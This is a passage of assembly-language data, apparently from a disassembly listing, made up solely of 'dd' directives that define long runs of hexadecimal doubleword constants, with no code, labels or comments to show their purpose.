		dd 2FA86E3Fh, 90378701h, 0A172FFA7h, 0A04DA88Fh, 0FECF2E83h
		dd 80301138h, 0D4A5EB16h, 1449B81h, 0BB9F1F0Eh,	0BD99F304h
		dd 0D04303E1h, 0A0705017h, 1312778h, 73F4F4Dh, 0BD474E2Bh
		dd 0FB468348h, 69A3804h, 0D01C1F39h, 4C3A8934h,	78A50071h
		dd 0F96D335Fh, 6B280085h, 0D417898Bh, 0CFE024BDh, 0FC92F600h
		dd 0C46567EEh, 3D51F09Dh, 0E008C1Ch, 24CE8FA6h,	12002782h
		dd 0B2B89276h, 0C7C14Ah, 0AB60BC36h, 8D7BBA01h,	0E1F62D09h
		dd 3FF8203Eh, 2C412981h, 0FB6470h, 0DF5FCC6h, 0A1128B15h
		dd 9300D5F0h, 0B28E7D05h, 0A06D3745h, 0CC83F038h, 9F3B3B8Fh
		dd 6E64817Fh, 88B55D29h, 8466CCh, 54D7449h, 122FC3E4h
		dd 0CB832002h, 0A0C08287h, 6B4C6684h, 9AB607AAh, 0A3F101B4h
		dd 0F2E8856Ch, 1CF0E13Bh, 71A99430h, 0E06DC4E7h, 26E60062h
		dd 77976760h, 1E00110Bh, 0C433C5CBh, 71FC202h, 7A127F8Dh
		dd 7C1A6080h, 0A83D3FECh, 72F51ED7h, 8C2E2104h,	0FA01086h
		dd 0A4F930B9h, 98C44286h, 0F63AB298h, 6478624Ch, 2E1F4279h
		dd 1FC1C098h, 1CB2F958h, 408AC3B1h, 0B81B804Dh,	533F9F22h
		dd 0DB5F0305h, 0A174F28Ch, 0F1ACA17Ah, 8425147Eh, 0B494780Ch
		dd 0B10018D9h, 2D8806BDh, 11A6D5h, 0D790B54h, 60A91C1Eh
		dd 0CE59C412h, 0DE6850h, 148102C2h, 0CDE2A1Eh, 623AC479h
		dd 0AB74FAE8h, 0A1F75400h, 63F3E0EFh, 78792875h, 655E0788h
		dd 50FC26F5h, 24D55CF7h, 7B0EABE8h, 0EA7DC316h,	738080F9h
		dd 0F4689B48h, 0C1F00905h, 0E101CDA6h, 0E0B9F5CFh, 91C38556h
		dd 38C689DCh, 8CAC81E1h, 4F12CDh, 0B25877AEh, 0E1304707h
		dd 8AC53176h, 6E3803C9h, 1C80E0C3h, 0A2FDFBD8h,	0C6587A03h
		dd 0F86FD002h, 0C093686Dh, 0D2283558h, 2F00E02Eh, 0C1499FA2h
		dd 785E769h, 423FF8Eh, 6173E6D7h, 27832A01h, 971CB7CEh
		dd 0A8A294ECh, 12DF9DB4h, 569364Dh, 7F055Dh, 0DAC70F5Ch
		dd 81058CB6h, 0B32644E8h, 0A2198440h, 209C10h, 2DE3F4C4h
		dd 672A83AEh, 765DA505h, 0A000AA86h, 0C27DA912h, 89CF6757h
		dd 0D9866B0Bh, 96FE1174h, 0DB0E7900h, 8968B962h, 0CBBB007Ch
		dd 8022D36Eh, 1E032853h, 263FD6CAh, 3081138Ah, 7E600F54h
		dd 3C71D060h, 35009847h, 12BA0A91h, 1201139h, 0E5C44AFDh
		dd 8075E757h, 1D236271h, 93BADBh, 35D2645Dh, 77A38F54h
		dd 29FAA098h, 90004899h, 0DB1916Ch, 0F105004Eh,	80F77C3Eh
		dd 0EA2E6D5Dh, 9707C235h, 8D0469Fh, 0CF873B9h, 0B6263C87h
		dd 0F00F0A9h, 47058A65h, 5E07F1h, 82AE0A38h, 0C523B6F5h
		dd 0C2F629C0h, 6AC29E9h, 0E1FF0995h, 6707B1DAh,	0DD441D62h
		dd 80F62F53h, 507DBFAEh, 9047EF13h, 88B0ECD0h, 0C8923DE4h
		dd 87BA5C3Eh, 0E8CBA8DAh, 0F4F7210h, 666017CEh,	89AA09FEh
		dd 80F8A08Ah, 376C326Fh, 2B006DF8h, 8E965881h, 5CAAB299h
		dd 0A131C6BBh, 8068E002h, 0C263FC99h, 247DF386h, 0D00346h
		dd 775D31Eh, 0CA047F88h, 0A70849B0h, 0A5C830C0h, 787D3A2Ah
		dd 8D847A00h, 86D3AD9Ch
		dd 0A802899h, 91AA876Ch, 6D2C2617h, 573D4304h, 0E35376C8h
		dd 5C057C01h, 7E8608A6h, 0FD768C4h, 6CCF1814h, 5A8C40D2h
		dd 0B22B2E66h, 0EC2F7303h, 0A8300F15h, 6FE4F2BBh, 0C160C177h
		dd 4869BFE3h, 90034F74h, 6CECDE60h, 2149077Eh, 305EC292h
		dd 0F983845Ch, 4F5A7C00h, 30178110h, 0B058F008h, 98A44C6Eh
		dd 0C281913Ah, 0ADC1A0F6h, 0DA698471h, 28909DFCh, 1B4278h
		dd 6A6034F2h, 7B118163h, 0F746980Bh, 0E584FF04h, 1262C02Dh
		dd 2C2A9FBEh, 0F300D02Bh, 8AEBB65Bh, 0C0C78226h, 52545C51h
		dd 1F02157Bh, 39A3F58Fh, 0F28880BDh, 2E20FDh, 2D7AAC78h
		dd 4835B619h, 0FFC74A05h, 3C807941h, 0C370E4F9h, 116A5BA9h
		dd 0FE9CC7C8h, 72AACC00h, 146F5C99h, 2C700C59h,	56F0810Fh
		dd 867E6206h, 7A89B589h, 25AC009Ah, 0A7639383h,	0F904CB8Eh
		dd 3C7605A3h, 898879D0h, 5E31C1CEh, 0CF06AFB2h,	9F0D51A8h
		dd 30C6FF14h, 2A9019E6h, 2CFCC25Eh, 6C9288h, 0BE044A6Fh
		dd 8CEFB0A6h, 0CB9E4F00h, 294D65E9h, 695930C3h,	2E7A11C9h
		dd 2C97A613h, 6331830h,	1C290004h, 0E85EFAB3h, 0AC070F51h
		dd 0CF91DCE0h, 0F696EBE0h, 147091E4h, 5703C92Ch, 0FF262ABEh
		dd 0B62F4900h, 698A9EAEh, 84DE0528h, 1F7919DBh,	0C343408Ch
		dd 716E8C03h, 0FB42B50Dh, 0C0E43986h, 0F9AA00BCh, 5057BB93h
		dd 6300F1CFh, 1A24D7FEh, 332CD886h, 6A318BFBh, 0A634A780h
		dd 83E7A000h, 4A87B12h,	938D0005h, 2B385589h, 0F6056F2Ah
		dd 3E2744AEh, 0DD73E6C0h, 0B20095F9h, 87428119h, 0A4467B18h
		dd 0B96D7759h, 988D011Ch, 705F9A4Eh, 0D218D1B6h, 0FB298725h
		dd 297438DCh, 0E52CC882h, 7AE0A276h, 0E3008701h, 1090A0A8h
		dd 13953C7Eh, 3CE547Bh,	54A96B8h, 430760F9h, 0F885CC4h
		dd 31201F7Bh, 1D4D048Ch, 0C14AB3ADh, 80A12DA4h,	3BE89071h
		dd 0F4CF9FE0h, 0B6D4000Fh, 2F5FC34Ah, 0B5007DEBh, 6EFFB9C0h
		dd 4875DFF7h, 0BD80B0E0h, 0F16A0431h, 0B82853h,	51D23480h
		dd 0FBFDDh, 0BDB5352h, 0B899CF70h, 4E59D000h, 2701117Ah
		dd 7517001Ch, 7BA8C12h,	3B5838EBh, 2CA45086h, 0A0CBDB12h
		dd 0ADC35C46h, 98A2F061h, 37F40078h, 4E058889h,	0A00C6143h
		dd 319E1FDAh, 54F3FA2Ah, 903BB8B3h, 0FB474A0h, 0EF1277A9h
		dd 0C4DA403Fh, 0ABA21827h, 11A4B300h, 1EAD2CF2h, 0A89550E8h
		dd 0EF71390h, 94882093h, 631E67FFh, 0A0580FBh, 0A801FA2Dh
		dd 2A427BF3h, 0AAE072E9h, 899B607Fh, 0A0AC16E7h, 0B8830F00h
		dd 95587E12h, 510D0972h, 70180147h, 550B2C41h, 82688E48h
		dd 80D65C3Eh, 342001F0h, 454A00A8h, 7F16F621h, 495C32E5h
		dd 0BA2400A0h, 28130F47h, 4D8B036h, 2D8158C7h, 318340F9h
		dd 0FB8950h, 11B6E9BFh,	0EC48F15h, 0A727F600h, 52BC04A2h
		dd 53CB0916h, 50807D2Bh, 8EF74B2Eh, 20E0A425h, 0D8887534h
		dd 77F7Eh, 0ED3C8D4h, 6BA5C028h, 463D64Ch, 93134151h, 0BA7488h
		dd 89C0C2B3h, 0F8C59FDBh, 705F7602h, 0E67FC3DCh, 0A737264Ch
		dd 2C65243Ch, 0D61E4074h, 0C700B970h, 14D3796Bh, 8C53ECh
		dd 0C40F258Ah, 72DA983Ah, 82BCE758h, 4061A4D8h,	7BE1E24Fh
		dd 0A9733B77h, 335B5482h, 1842D460h, 0B88F1860h, 0AFA4F502h
		dd 44F2867Bh, 0D12A4114h, 0DB6FC0E3h, 38E8C25h,	0F0F701DCh
		dd 0AA5614h, 0E21DDA31h, 760AF049h, 46245EFAh, 0C04BCF4h
		dd 5080A87Dh, 2620FF3h,	209802C4h, 0A491E225h, 0DAF0F45Dh
		dd 57BFE41Eh, 921D5C0h,	70CA26h, 7D5ADF0Dh, 1F352D88h
		dd 0DB782804h, 40F13422h, 78059C04h, 98906793h,	77F3B0h
		dd 4F5FE8E5h, 54179CA9h, 16052300h, 97A2EF24h, 271901Ah
		dd 1FD8C7E8h, 360035Bh,	0E00E6699h, 0A75735F2h,	9059C46Ah
		dd 17AAE8h, 7C28FC44h, 0B9E003ECh, 0BC427A04h, 70909C82h
		dd 4D1380Dh, 0DAC3ECFAh, 2DB4E421h, 0AD1D20B1h,	0A20F76C0h
		dd 97889h, 1CCD954Dh, 881F2EC1h, 4F9A5F05h, 0BCC8E773h
		dd 8C1A007Ah, 67669D3Ah, 0EB1645BDh, 0DD04BE54h, 28A4E1F4h
		dd 91B0007Fh, 9F93ABDDh, 3312F269h, 0EC90E779h,	92ECE49h
		dd 0C9811F3Dh, 4A1294FEh, 71F1EC00h, 0ADAA366h,	6404CA12h
		dd 18B507FCh, 0F8DAD9h,	1FB930FCh, 4CB1E196h, 0FFE74400h
		dd 7B2FFBh, 0B1F729ECh,	0D554BE56h, 3CE43828h, 0B5A21A0Eh
		dd 98FE03Ah, 0C48E2A5h,	5D2C68D4h, 0AAEC9C68h, 7FAC490Ah
		dd 9E8098C9h, 3D97F438h, 9790053h, 7A60D152h, 942A719Bh
		dd 3200F451h, 0E32110E2h, 0E5199Fh, 2C726F7Bh, 77C20281h
		dd 7876EC05h, 8CC0B20Bh, 531E0ABh, 263ED579h, 4C840C2h
		dd 0F9B52A7Ah, 1ED63824h, 0ABB90B04h, 20AD8482h, 0E6E51E0Dh
		dd 0A0F8D0E1h, 0B72EBC16h, 87F93402h, 0F01C52F7h, 4809899h
		dd 45107B83h, 0C2BCC017h, 20EC33Ah, 0B8467C21h,	0A0F3B279h
		dd 16F1F030h, 8454A908h, 88A5845Bh, 4A741A84h, 96A59300h
		dd 0D4F0507Eh, 7CEF05C6h, 5FC4D5DBh, 3FA4AE98h,	860213Bh
		dd 0CBDA9F7Fh, 2A09F8B9h, 0C110015Dh, 0CC527832h, 1F4446Ch
		dd 0B4626FC0h, 0F3DBFF7Bh, 81B05FA5h, 0C8DE1474h, 0D0C83277h
		dd 0C322D8h, 3F665B83h,	221D30DFh, 0C751260Fh, 127E6174h
		dd 24207DD7h, 27F401F2h, 375611A5h, 0C8E8306Dh,	0F7860B09h
		dd 0FB34007Ch, 12BDAD6h, 1DD7873h, 8172E77Eh, 0BD845B1h
		dd 0BBD0D410h, 0A3CA024Ah, 7ADB62CEh, 0A180945Ah, 0C0013C1Fh
		dd 0B0F8BC5Ch, 2C230996h, 55D53B00h, 0E73F0B05h, 0A0AEE200h
		dd 594A1DC6h, 0FDBA1226h, 1353000Ch, 7D280BD1h,	16104D5Ch
		dd 8400B457h, 0DD965C40h, 0DE0C02EBh, 0DB1B0B8Ch, 8A12AC51h
		dd 2D34CC8h, 0CFFB4F8Dh, 28C0857Ah, 7F417B50h, 38BC60E2h
		dd 0AC6E052Ch, 80C81811h, 86165BC0h, 0D727F804h, 908009FEh
		dd 5CF34E6Eh, 0E78034E1h, 9DB9AAD5h, 41C4490Ch,	3FAB197Ch
		dd 14D08920h, 0C2CE38A9h, 7CF6FB80h, 0C06FC678h, 20297602h
		dd 5A048684h, 98823054h, 26328EC1h, 0DE50742Dh,	6F73091Bh
		dd 70FBE487h, 0F2547C7Dh, 0E82DDA2Ch, 4D870F40h, 2492A3h
		dd 5B435663h, 0C44E1037h, 0E49E8613h, 51E95020h, 52820E72h
		dd 0A4C003B8h, 9680EB69h, 48E09F06h, 916A94h, 17144690h
		dd 960301C6h, 18AAA300h, 0F76C2A20h, 0EEEF01B0h, 7469FFB5h
		dd 0F54C6172h, 7C3440E2h, 3400165Ah, 0E4318F4Ah, 7F8A9E9Ch
		dd 73690203h, 9419C74Dh, 86A6DC41h, 6CEDDAB9h, 0BB2D13E8h
		dd 2298C85Ah, 9B09FF03h, 0F89E2A37h, 3ACE1181h,	6B0180DBh
		dd 0F1C1E3Dh, 0FDE7F43Ch, 8CC82850h, 0C0F7FC89h, 3EFB202h
		dd 1CA06909h, 68010418h, 216859F6h, 49DDCB20h, 1FF74EC0h
		dd 0AE127BDFh, 0BC400E60h, 0D1DA1CE4h, 326CD404h, 0D5490218h
		dd 0C96EA427h, 346289A8h, 1A91ED00h, 25AE239Dh,	0FA397A03h
		dd 0B8C7DE4Ch, 16617283h, 90822195h, 0F8E79B78h, 74B4BB24h
		dd 0EB2CE309h, 0B50CF18h, 13D5514h, 1907E84Fh, 28213E66h
		dd 65BD84DCh, 0E9E5FAC0h, 92E305D8h, 0A0D51CEEh, 4887288h
		dd 0F825068Fh, 68916505h, 107CE42Dh, 7FBF3D8h, 6A9B210h
		dd 0C0287742h, 5F46DA61h, 0EA0FA300h, 0F6AE50C3h, 12750191h
		dd 7B032199h, 49D44CDDh, 0DAB0A107h, 9E4084A6h,	0FC2870Dh
		dd 0B7427692h, 23439583h, 225880A0h, 4AB41802h,	585DF6C7h
		dd 0CB0E48F0h, 0E9CBA703h, 59D682A3h, 0D5A5EB00h, 1D815ECEh
		dd 16C905BBh
		dd 8A7DE1EFh, 346B0210h, 0D978C433h, 7C830004h,	23B57F5Fh
		dd 43AC8D54h, 6D710100h, 0FFA137D4h, 0CC9300A2h, 4BD86224h
		dd 0B5005939h, 485C4A33h, 9CE0841Fh, 0FEF7808Ch, 74E51226h
		dd 16511000h, 0B3AF6C4Fh, 9B180914h, 0F849FCDAh, 20A4D972h
		dd 8CF8F5D8h, 2033FBh, 36313DFDh, 942CE42Ah, 3389808Ch
		dd 7D1693F7h, 0BB3D0700h, 5853C3E9h, 0EE840724h, 7139E76Ah
		dd 2554F586h, 0A472CED4h, 1E004C7Ah, 309B8FADh,	0FFEE8E63h
		dd 2D6BEC0h, 7F649F5Ch,	0AC90895Dh, 0D8000C20h,	3B40E3F3h
		dd 2DE0AE02h, 0D801702Eh, 727EC337h, 0DDC507BCh, 28B07F0Ch
		dd 27E3041Eh, 10202636h, 7199D19Ch, 4144B500h, 749DE472h
		dd 78EFE83h, 126C0B2Bh,	31AFE67Ch, 6AF1B214h, 0C62260h
		dd 46789B58h, 21AAE68Ah, 9D003BF8h, 0CC5A2B19h,	6E25CC7h
		dd 8801345Bh, 8B28994Eh, 8C44F83Bh, 40824FA6h, 76272344h
		dd 74001D03h, 0B27AD357h, 54799Ch, 0E1C7DD22h, 78125614h
		dd 0E911EC02h, 0C1DB5EFAh, 6432E000h, 0A6409400h, 78AF2E93h
		dd 586F8F00h, 90F7718Bh, 63E0344h, 0F6DFA810h, 94417D90h
		dd 2026112Fh, 9925E790h, 0F0F83BB8h, 3386200h, 0DC78742Bh
		dd 768AC700h, 634DEFFFh, 882801D1h, 0FB427B5Fh,	16D1812Dh
		dd 729C5605h, 3826CC60h, 14BF4D2h, 0E207E708h, 1AA9807Bh
		dd 8DFE2D53h, 0AC2C005Bh, 7E9B06B4h, 0B0CB1483h, 0ED8906Dh
		dd 6C560F02h, 0C3C0113Dh, 4A67078Eh, 41729A00h,	167C23DEh
		dd 0EB42022Eh, 0C619C2ECh, 4B28FFDh, 0CC8C386Ah, 997A93h
		dd 3811502h, 58CEF583h,	6B161DF6h, 0A849146Ah, 580452FCh
		dd 56062778h, 0B9CDB0C4h, 0C2E3F60Ah, 0FA2C0841h, 0E856293Ch
		dd 407FA408h, 490D19C4h, 60BD3E0Eh, 68E8C001h, 148319Ch
		dd 6FA3DB82h, 22262B35h, 690076F4h, 229E960Bh, 0F12530h
		dd 0DFD88941h, 8766450Fh, 44915A74h, 34009711h,	5D1EF773h
		dd 350BC3A9h, 0C870010Fh, 41CC690h, 0EA817751h,	13028093h
		dd 644DD9F5h, 0DAAB813Ch, 28217F75h, 1668530h, 0A4872836h
		dd 30D4FA81h, 4B0E2D08h, 0D825BBF7h, 0B10B1h, 0AD8E5923h
		dd 67905DA1h, 260B148h,	0B5E3ACDEh, 9E47818h, 43C412B6h
		dd 1101E052h, 0F6CD37EFh, 4022245Ch, 6A5D8D0Eh,	9F391A0h
		dd 0F701DCEDh, 0B6439616h, 0BBF0EADAh, 4D8A02ADh, 7A158CABh
		dd 3107EC51h, 0EB90561Dh, 95CB03h, 0B15C80D6h, 0E77B18A6h
		dd 0CF01457Ch, 0E44D12A3h, 58399F6Ch, 7185BC00h, 0FDE168B8h
		dd 0F0133502h, 704A22DAh, 0D02D5218h, 9C6EC300h, 75726315h
		dd 0E76C511Eh, 0E1454800h, 0F5A2DABh, 2C26886Fh, 2A3C0333h
		dd 0A9C442FFh, 0E322174Ch, 0B416630Ah, 79E50A05h, 0FE1D8840h
		dd 0D358F7h, 2944FA1Ch,	2EC74C13h, 90FB7229h, 26DB6600h
		dd 17A0DB7h, 0FD6E67BEh, 70F745B2h, 50039010h, 463AF295h
		dd 7FC4D96Ah, 0F8002C63h, 0D822FA1Bh, 0DB257BBFh, 5D80231Fh
		dd 0C5418742h, 54F8DD77h, 446490C9h, 51007DCFh,	0CA8517CEh
		dd 934F20h, 39B53DA1h, 6488974h, 641CDF7Bh, 730F8D59h
		dd 11AA8009h, 1858F01Eh, 0C189FB5Dh, 980FC9F6h,	0E0D37E4Fh
		dd 30971B55h, 0A39C0E87h, 0F624C418h, 924CC080h, 4C2CF91Fh
		dd 0C8439894h, 277D810h, 0A41E24F1h, 7D0F3B28h,	0DB409D20h
		dd 0AAD72156h, 2EB27900h, 405323E4h, 0BCA64D94h, 4073F71Dh
		dd 1EF3B3EAh, 0B2E8407h, 4900F45Eh, 8550DE77h, 2B1D0090h
		dd 0E3AA8797h, 0DF01057Bh, 0C2A1853h, 4FF0B241h, 80E0B1B6h
		dd 453A83F5h, 0FB008A2Bh, 0EC42E27h, 11CCCD32h,	12D9427Ch
		dd 382093CFh, 3BC18870h, 0F087A902h, 90C234C4h,	716395C3h
		dd 26195D10h, 0B3D7CC81h, 4C36C4E5h, 14794700h,	0B83D2C06h
		dd 0B2C92E1Fh, 56C10B44h, 0D2D17C13h, 35C53148h, 917DE0E4h
		dd 0FA49E500h, 6A95021Bh, 18854869h, 0ED446100h, 0B610A4B2h
		dd 0B590AA0Fh, 4F0880A1h, 1277C611h, 92AA572h, 0E400B7E0h
		dd 0DC8F9758h, 0A9F38627h, 0F920849Ch, 24293841h, 1741D4FCh
		dd 468C0200h, 56E39AAh,	728D0C58h, 9C500C2Bh, 78082109h
		dd 4D860066h, 7AA8BC7h,	96119D6Fh, 0C8FEA573h, 68B42D14h
		dd 241D80BCh, 3BB4ABA0h, 0D660044h, 0CE18F81h, 9014CF0h
		dd 2C3D860h, 0B08028B1h, 65574B23h, 0F6002184h,	96A186Bh
		dd 28206E41h, 4F14C25h,	3B88BDDh, 1CE276h, 42BE9D6Dh, 0A09377F2h
		dd 2F75A8B4h, 7F0C6D0h,	1082E626h, 0ECFD9040h, 0EA80002Fh
		dd 8AA8782Dh, 0A303B009h, 243BD4C2h, 897BD738h,	14D05A50h
		dd 70C778DAh, 0BE64405Fh, 947BF72Ch, 0F5029002h, 644F4C86h
		dd 0DAC344F8h, 2554800h, 0F2F1C10h, 0D4B301F5h,	0A5C244F0h
		dd 38335Dh, 0E06EDFCBh,	0B982ABC3h, 5DA6005Ch, 5678B802h
		dd 1D8C8501h, 25DA23F7h, 1B804440h, 17743A5Dh, 147AB016h
		dd 59394493h, 373A2A6h,	32C1FA45h, 0A90CF4F4h, 1080F88h
		dd 9F9B475Fh, 601FA5B2h, 93897C34h, 0A3014C62h,	2CFACB20h
		dd 151AC8FCh, 0AB717D01h, 607A5F07h, 0B0CA4430h, 0E75A253Ch
		dd 5EAD6820h, 0EE000D0Ch, 910552D1h, 0A43663h, 1181126Dh
		dd 0F2448D07h, 0D0B9980Bh, 933400A7h, 0E2380575h, 54F89D3Bh
		dd 8D04F101h, 0E7A3959h, 0F0F4820h, 0F412EB63h,	0D5716820h
		dd 58097B94h, 2AB022Ah,	5464F550h, 8D464038h, 19002CAEh
		dd 7FAF6EE1h, 0E2407Eh,	9AF67AE0h, 7197BB05h, 0C25BC374h
		dd 2011D420h, 48725F6h,	0CC18D44Ah, 0C200CAF0h,	37A7A048h
		dd 7A15291h, 870EFF99h,	809C6AF6h, 54A9D86h, 0CC0074AAh
		dd 5A07F211h, 98B7EF12h, 9ED522ECh, 0A900D0E4h,	0AC1A1811h
		dd 34AF920h, 78DDB0CAh,	0C9E81F79h, 838AB0Bh, 8401A8D4h
		dd 182C9CB0h, 606E90CCh, 0B60C4D1Ah, 0EF9A3ADDh, 0DAC1A100h
		dd 835F57C4h, 0CB46E48h, 98C9B10Fh, 0DB9F1389h,	80BC206Ch
		dd 0DE00D53Ch, 0B483E837h, 728996Eh, 0E5481F98h, 0C8026E3Bh
		dd 88DA895Ah, 2175D3E6h, 0AB00F577h, 5F5B157Ah,	0F658D8CFh
		dd 1A1D38D6h, 405E58C8h, 0BC8F28C0h, 0B2008512h, 6F178EBBh
		dd 0C5D3A0h, 2C72593Dh,	47CEF64Bh, 0B0C08876h, 0C92E87B3h
		dd 0FB042DC2h, 440F9C20h, 35040EC1h, 2C4CD1E8h,	0D01E2180h
		dd 81290E88h, 0B69A05h,	5614B93Ch, 82586AE9h, 393D8094h
		dd 23CDA6h, 6C5F3BD5h, 5C1E17ACh, 0B4B6F101h, 7B43EB54h
		dd 718FDCE5h, 87C12657h, 38B9C286h, 0C0DF80A4h,	0CFE7D7h
		dd 60C6F561h, 7622B208h, 0C578DB18h, 4A770F71h,	313820A6h
		dd 1C001881h, 97CD5854h, 0FE9625Fh, 0A877C15h, 0C44A50E0h
		dd 65295AD4h, 0E903F094h, 0AB3EDE47h, 595ED8A0h, 0AA0A0937h
		dd 0EC484D7Ch, 4E03B10Eh, 29DAE7C2h, 0B47148D0h, 800B253Bh
		dd 2FF2C05h, 0C05E4340h, 6F82B77Dh, 0C7E729CDh,	0E8C4C050h
		dd 6204F9B1h, 9336DB7Ch, 269D2CB8h, 1050089h, 122CADBAh
		dd 0C7808CB6h, 7BA941A4h, 7C9CA41Ch, 0A5373A4Dh, 6B800506h
		dd 892D301Dh, 5D2C1086h, 2658027Dh, 0E2FBD5BCh,	611AD498h
		dd 48236E00h, 9262E57Dh, 0F305006Bh, 933AB4D5h,	3B3C42DDh
		dd 267E92BDh, 693F0002h, 0D3C86335h, 7C6114C8h,	74004845h
		dd 0E233C2C7h, 58011F42h, 0D11CAB4Dh, 0FC2DE887h, 0D6507C0Ch
		dd 57486731h, 0EF06C078h, 5B7A90Eh, 7D96FA09h, 0A184E4E0h
		dd 27131400h, 4AE41CE9h, 70160B4Ch, 0C0106D49h,	0C800945Fh
		dd 2075B645h
		dd 1FF508B8h, 5D55CCF2h, 692180FBh, 72DAA437h, 3A253490h
		dd 0BACCC82Dh, 734039F1h, 17DAE982h, 0F0D27005h, 154CF02h
		dd 0C07762C9h, 2A98429h, 0B5127D6h, 60F25A88h, 1A2B293Ch
		dd 59396104h, 0FCDB0068h, 42EEC160h, 88866702h,	0FC163FA6h
		dd 0E6CF095Dh, 30DD1881h, 5C202FEDh, 0EC68C4h, 778182A6h
		dd 765E4D3Fh, 0FA343D05h, 2088F387h, 0F65D160Dh, 1D44C88Ah
		dd 4DC811Fh, 9B0740C0h,	9ABEC14h, 0E8881120h, 0AD00B896h
		dd 3553FDCAh, 5C962Ah, 0EF30697Ch, 0FDE292Fh, 0FE98EB02h
		dd 0DAE518E1h, 7F2B13D0h, 26D000F9h, 7C0B5658h,	80B81E58h
		dd 0F630AA11h, 0BE9EABCh, 20DE0621h, 0D0D9B8CAh, 0CDA1003Eh
		dd 3063DDFAh, 0BB1E12A8h, 0DACC8DAh, 0FB3E2300h, 17CA5DCh
		dd 6B44005Bh, 0B57129F9h, 0C5759933h, 11ADC427h, 1C21DA44h
		dd 0F06B20CEh, 8B286797h, 0FC00A0AFh, 0E8C8C016h, 49C243h
		dd 7F87ACF6h, 0C1207A79h, 0A4A4A476h, 10673E1Dh, 0BC7D0F80h
		dd 7E95231h, 7075C33Bh,	4395C0A4h, 0C44E018Ah, 7CA27C22h
		dd 81A90054h, 283E0FE5h, 0A5CC1E1Dh, 0A0E22B8Ah, 79B404Fh
		dd 2E11363Ch, 0C03A95Dh, 9D087CF9h, 0C4DB7425h,	79960A40h
		dd 0A0DC6A6Dh, 6ED500F6h, 0AD8189EAh, 210057E4h, 0B970DE6Fh
		dd 0A41C7C8Fh, 48142EC4h, 56202D8h, 55E095E4h, 59769756h
		dd 0A0A71D09h, 2D538428h, 418018FCh, 0E4F68AB2h, 0A872C22h
		dd 40FE332Bh, 84EE00B9h, 0CA3A9D9Eh, 56379100h,	7C76C52Fh
		dd 83009118h, 0A13D5B6Bh, 7BBB7AABh, 1C8C01F5h,	81F4E4F7h
		dd 8A109168h, 9FC4EFA9h, 81250792h, 0D5027D17h,	93800849h
		dd 0AC707386h, 1ECE3C40h, 0B9C9C75h, 2482F782h,	447CE199h
		dd 0EE0A81BCh, 0F36BFF46h, 5668C0h, 14C77048h, 7ACAC69Fh
		dd 0DAB35E06h, 4F619B22h, 0A20021C3h, 801C282Ch, 60D447E4h
		dd 47F5486Fh, 1C64E00h,	0D7AC6584h, 2E3C9654h, 0BEF5F700h
		dd 0DA9BAA5h, 0C3C00BCh, 9DE034D8h, 6C90EF47h, 1AFC444h
		dd 0F5E5CF8Eh, 0F04C036Ch, 7E4C515Fh, 76B622DCh, 0F1C0EAC3h
		dd 1394E470h, 0F0A9D52Fh, 58A15C90h, 710DF51Dh,	2FA87C70h
		dd 0C94C91F3h, 36A69F10h, 0C0100E01h, 463F7C56h, 5F50830h
		dd 87A2E905h, 8D402E6h,	0C856296Eh, 2158BA40h, 9F0E09E0h
		dd 70646383h, 421B5D04h, 0CAC0DDDBh, 128088h, 5743D6Eh
		dd 238C3EA7h, 3A46553h,	70F8A8A3h, 2E687EECh, 1EC803F4h
		dd 6C28A704h, 86D205B1h, 7B94A039h, 0DB4C4D0Bh,	88F4107Ah
		dd 0B20B0376h, 0F8F74E0Eh, 2DDB4FB8h, 1200C4B1h, 0FB19911Dh
		dd 72A9C0B5h, 56C7A518h, 0F14D8203h, 0E114ED57h, 2920F569h
		dd 5CBE0B17h, 9C024FD7h, 0F4DAE50Bh, 9C58EF03h,	8918ACB4h
		dd 742CA66Bh, 0FC9A7B81h, 7C16FCD6h, 0D51A3607h, 3F11554h
		dd 17E1535Bh, 41E3FFCh,	0D7013C04h, 8384F81Ch, 812753B2h
		dd 203F8A65h, 81CB4568h, 41824D01h, 6D4EEB1Fh, 95D0B471h
		dd 0C0587C76h, 0C45798CCh, 1E24FF6Ah, 0CD1104B6h, 8477DA14h
		dd 1F58D6C3h, 0C710C1FDh, 900896F4h, 92AA7C01h,	3463E246h
		dd 9CAE0300h, 0E233696h, 612C9D07h, 72E028AFh, 54FC64Dh
		dd 53A95F8Eh, 8044A87Eh, 0CA66AA3Bh, 3F020B85h,	4018A4ECh
		dd 0E50059BBh, 0D0A67F6Eh, 154AF2E0h, 0A035FEDBh, 0F048FA27h
		dd 0EE7C95B3h, 2BDF2100h, 0AFC79FC8h, 23470959h, 19003BA2h
		dd 84428110h, 30882A50h, 0E0725C16h, 0E825A0D3h, 8BA0B2h
		dd 18A5F5DDh, 66F66DC9h, 0D79520Ah, 74007470h, 0A9B06301h
		dd 54720284h, 0FDB7DF62h, 0DCCA4440h, 48507B4Ch, 0FC5223Ch
		dd 84F6BCD5h, 9C926B60h, 0FD1B833Fh, 0D0211F7Ch, 10936Ch
		dd 0EAD4E51Eh, 8904D955h, 0F13EBB00h, 0B102C40Eh, 4CC374DAh
		dd 2A22B47Dh, 0D04EB22Eh, 194CDA40h, 27B600F7h,	7BAABC5Ah
		dd 8C0018CFh, 0B576233h, 90E9D113h, 4367029Ch, 0B27E97EAh
		dd 0A85E64E2h, 90D16243h, 3521213h, 37CA8867h, 44F0E81Ch
		dd 0C73F27F8h, 0A5638217h, 404F7C86h, 481A547Fh, 9680C06Dh
		dd 0DE922D37h, 0DB767D09h, 90545922h, 2612854Ch, 0B969CC8h
		dd 69E7A68Eh, 209B1CC1h, 722880F0h, 1B00A8D4h, 0EDFD2179h
		dd 0B5A00C8Ch, 0EAA81893h, 0DDF2C410h, 304C6600h, 0AA3CBE7Eh
		dd 0D75D0BB2h, 88041F1Ah, 81D0A888h, 0F4988DB3h, 0F5F07F4h
		dd 0B5B1AD47h, 6B416500h, 4AF2E567h, 1F1C8CAEh,	53804BD4h
		dd 3A9EFE0Fh, 0FC3E1F44h, 0D6AE8Eh, 3413C8B8h, 38B121DBh
		dd 0FE48A507h, 0AA727680h, 43B73E08h, 44607F2Eh, 3DA8BD59h
		dd 0F8901EAh, 0D30299BDh, 0F6E4DADDh, 0D0F86Eh,	0E050B4BCh
		dd 0B8C01FC7h, 987CFA5Ch, 0F73C880h, 0EF0DA7Ch,	7610FD40h
		dd 0D027275Fh, 77F4A12Ch, 806BD474h, 0F44FA1F5h, 1C3A9505h
		dd 0D4E165E3h, 7DC48031h, 0FC9994h, 0AE3A2E49h,	0C80189F7h
		dd 2F42DD7Eh, 5FC80BA5h, 88511C97h, 6FD8A47Fh, 0D02D0012h
